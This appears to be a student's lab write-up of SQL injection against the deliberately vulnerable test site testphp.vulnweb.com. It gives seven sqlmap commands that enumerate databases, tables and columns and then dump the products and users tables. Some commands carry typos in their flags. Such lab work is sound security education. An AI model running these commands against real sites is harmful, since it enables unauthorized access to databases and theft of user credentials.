**Muhammad Waleed Sajjad 231523959**

Link of vulnerable website:

http://testphp.vulnweb.com  
  
**1.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 –dbs**

we use this command to list all the databases of the vulnerable site  
this command returned 2 databases in our case   
1. acuart  
2.information schema

**2.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart –tables**

We use this command to get the tables in the database acuart by specifying its name in the sqlmap query

**3.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D information\_schema --tables**

We use this command to get the tables in the database information\_schema by specifying its name in the sqlmap query

(both the second and third query returns the list of tables in the two databases)

**4.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns**

We use this query to obtain the attributes and its datatypes of the table users in the database acuart by specifying both the DB name and table in the query

**5.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --columns**

We use this query to obtain the attributes and its datatypes of all tables one by one in the DB

**6.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T products -dump**

We use the dump method to retieve the information from the tables .in the above query we get the information of table products

**7.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -dump**

In the above query we get the information of table users using dump